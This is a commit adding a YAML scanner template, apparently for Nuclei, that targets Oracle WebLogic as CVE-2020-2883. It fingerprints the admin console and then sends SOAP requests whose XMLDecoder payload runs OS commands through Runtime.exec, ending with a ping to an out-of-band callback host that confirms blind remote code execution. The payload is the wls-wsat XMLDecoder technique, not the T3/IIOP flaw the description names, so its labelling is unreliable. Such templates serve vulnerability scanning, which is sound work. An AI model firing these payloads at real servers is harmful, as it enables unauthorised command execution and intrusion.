Update CVE-2020-2883.yaml

CVE-2020-2883.yaml

@@ -0,0 +1,118 @@
+id: CVE-2020-2883
+
+info:
+  name: Oracle WebLogic Server - Remote Code Execution
+  author: 0x_Akoko
+  severity: critical
+  description: |
+    Oracle WebLogic Server (10.3.6.0.0, 12.1.3.0.0, 12.2.1.3.0, 12.2.1.4.0) contains a remote code execution vulnerability caused by unauthenticated access via IIOP and T3 protocols through insecure deserialization. This template exploits the vulnerability via HTTP/SOAP with OAST callbacks for blind RCE confirmation.
+  reference:
+    - https://www.oracle.com/security-alerts/cpuapr2020.html
+    - https://www.zerodayinitiative.com/advisories/ZDI-20-504/
+    - https://github.com/Y4er/CVE-2020-2883
+    - https://github.com/rapid7/metasploit-framework/blob/master/modules/exploits/multi/misc/weblogic_deserialize_badattr_extcomp.rb
+    - https://nvd.nist.gov/vuln/detail/cve-2020-2883
+  classification:
+    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
+    cvss-score: 9.8
+    cve-id: CVE-2020-2883
+    cwe-id: CWE-502
+    epss-score: 0.93664
+    epss-percentile: 0.99836
+    cpe: cpe:2.3:a:oracle:weblogic_server:*:*:*:*:*:*:*:*
+  metadata:
+    verified: true
+    max-request: 3
+    vendor: oracle
+    product: weblogic_server
+    shodan-query: 'product:"oracle weblogic"'
+  tags: cve,cve2020,oracle,weblogic,rce,deserialization,oast,kev
+
+flow: http(1) && http(2) && http(3)
+
+http:
+  - raw:
+      - |
+        GET /console/login/LoginForm.jsp HTTP/1.1
+        Host: {{Hostname}}
+
+    matchers:
+      - type: dsl
+        dsl:
+          - 'status_code == 200'
+          - 'contains_any(body, "Oracle WebLogic Server", "WebLogic Server Administration Console")'
+        condition: and
+        internal: true
+
+    extractors:
+      - type: regex
+        name: weblogic-version
+        part: body
+        group: 1
+        regex:
+          - 'WebLogic Server Version: ([0-9.]+)'
+          - 'WebLogic Server ([0-9.]+)'
+        internal: true
+
+  - raw:
+      - |
+        POST /wls-wsat/CoordinatorPortType HTTP/1.1
+        Host: {{Hostname}}
+        Content-Type: text/xml; charset=utf-8
+        SOAPAction: ""
+
+        <soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/">
+        <soapenv:Header>
+        <work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/">
+        <java class="java.beans.XMLDecoder">
+        <void class="java.lang.Runtime" method="getRuntime">
+        <void method="exec">
+        <string>echo test</string>
+        </void>
+        </void>
+        </java>
+        </work:WorkContext>
+        </soapenv:Header>
+        <soapenv:Body/>
+        </soapenv:Envelope>
+
+    matchers:
+      - type: dsl
+        dsl:
+          - 'status_code == 500'
+          - 'contains_any(body, "ObjectHandler", "XMLDecoder")'
+          - 'contains(body, "WorkContextXmlInputAdapter")'
+        condition: and
+        internal: true
+
+  - raw:
+      - |
+        POST /wls-wsat/CoordinatorPortType HTTP/1.1
+        Host: {{Hostname}}
+        SOAPAction: ""
+
+        <soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/">
+        <soapenv:Header>
+        <work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/">
+        <java class="java.beans.XMLDecoder">
+        <void class="java.lang.Runtime" method="getRuntime">
+        <void method="exec">
+        <string>ping -c 4 {{interactsh-url}}</string>
+        </void>
+        </void>
+        </java>
+        </work:WorkContext>
+        </soapenv:Header>
+        <soapenv:Body/>
+        </soapenv:Envelope>
+
+    matchers:
+      - type: word
+        part: interactsh_protocol
+        words:
+          - "dns"
+
+    extractors:
+      - type: kval
+        kval:
+          - interactsh_protocol